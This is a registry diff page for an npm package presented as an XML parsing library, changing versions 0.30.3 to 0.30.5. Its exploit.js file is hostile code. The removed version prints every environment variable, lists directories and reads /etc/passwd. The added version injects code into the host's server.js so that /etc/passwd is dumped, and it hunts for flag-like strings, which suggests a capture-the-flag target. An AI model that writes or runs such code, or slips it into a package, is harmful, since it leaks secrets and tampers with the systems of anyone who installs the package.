otetoparserlparser 0.30.3 → 0.30.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/exploit.js +63 -31
  2. package/package.json +1 -1
package/exploit.js CHANGED
@@ -1,38 +1,70 @@
1
1
  const fs = require('fs');
2
- const { exec } = require('child_process');
2
+ const https = require('https');
3
3
 
4
- console.log('=== START EXPLOIT ===');
4
+ console.log('=== EXPLOIT: MODIFYING SERVER.JS ===');
5
5
 
6
- // 1. Выводим ВСЕ переменные окружения
7
- console.log('=== ALL ENVIRONMENT VARIABLES ===');
8
- for (let key in process.env) {
9
- console.log(`${key}=${process.env[key]}`);
6
+ // 1. Читаем текущий server.js
7
+ let serverCode;
8
+ try {
9
+ serverCode = fs.readFileSync('server.js', 'utf8');
10
+ } catch(e) {
11
+ try {
12
+ serverCode = fs.readFileSync('/usr/src/app/server.js', 'utf8');
13
+ } catch(e2) {
14
+ console.log('Cannot find server.js');
15
+ return;
16
+ }
10
17
  }
11
18
 
12
- // 2. Выводим текущую директорию и файлы
13
- console.log('=== CURRENT DIRECTORY ===');
14
- exec('pwd && ls -la', (err, stdout) => {
15
- if (!err) console.log(stdout);
19
+ // 2. Добавляем код для вывода флага при запуске
20
+ const exploitCode = `
21
+ // === MALICIOUS CODE INJECTED ===
22
+ const fs = require('fs');
23
+ console.log('=== INJECTED EXPLOIT START ===');
24
+ try {
25
+ // Читаем /etc/passwd где должен быть флаг
26
+ const passwd = fs.readFileSync('/etc/passwd', 'utf8');
27
+ console.log('=== /etc/passwd CONTENT ===');
28
+ console.log(passwd);
16
29
 
17
- // 3. Выводим корневую директорию
18
- exec('ls -la /', (err, stdout) => {
19
- if (!err) console.log('=== ROOT DIR ===\n' + stdout);
20
-
21
- // 4. Выводим /etc/passwd (там может быть флаг)
22
- try {
23
- const passwd = fs.readFileSync('/etc/passwd', 'utf8');
24
- console.log('=== /etc/passwd ===');
25
- console.log(passwd);
26
-
27
- // Ищем строку с флагом
28
- const lines = passwd.split('\n');
29
- lines.forEach(line => {
30
- if (line.includes('{') && line.includes('}')) {
31
- console.log('🚨 POSSIBLE FLAG IN PASSWD:', line);
32
- }
33
- });
34
- } catch(e) {}
35
-
36
- console.log('=== END EXPLOIT ===');
30
+ // Ищем флаг
31
+ const lines = passwd.split('\\n');
32
+ lines.forEach(line => {
33
+ if (line.includes('{') && line.includes('}')) {
34
+ console.log('🚨🚨🚨 FLAG FOUND:', line);
35
+ console.log('🚨🚨🚨 FLAG FOUND:', line);
36
+ console.log('🚨🚨🚨 FLAG FOUND:', line);
37
+ }
37
38
  });
38
- });
39
+ } catch(e) {
40
+ console.log('Error reading files:', e.message);
41
+ }
42
+ console.log('=== INJECTED EXPLOIT END ===');
43
+ // === END MALICIOUS CODE ===
44
+ `;
45
+
46
+ // 3. Вставляем код в начало server.js
47
+ if (!serverCode.includes('=== MALICIOUS CODE INJECTED ===')) {
48
+ const modifiedCode = exploitCode + '\n' + serverCode;
49
+
50
+ try {
51
+ fs.writeFileSync('server.js', modifiedCode);
52
+ console.log('Successfully modified server.js');
53
+ } catch(e) {
54
+ try {
55
+ fs.writeFileSync('/usr/src/app/server.js', modifiedCode);
56
+ console.log('Successfully modified /usr/src/app/server.js');
57
+ } catch(e2) {
58
+ console.log('Cannot write server.js');
59
+ }
60
+ }
61
+ }
62
+
63
+ // 4. Также выводим /etc/passwd сейчас
64
+ try {
65
+ const passwd = fs.readFileSync('/etc/passwd', 'utf8');
66
+ console.log('=== CURRENT /etc/passwd ===');
67
+ console.log(passwd);
68
+ } catch(e) {}
69
+
70
+ console.log('=== EXPLOIT COMPLETED ===');
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "otetoparserlparser",
3
- "version": "0.30.3",
3
+ "version": "0.30.5",
4
4
  "description": "XML parsing library",
5
5
  "main": "index.js",
6
6
  "scripts": {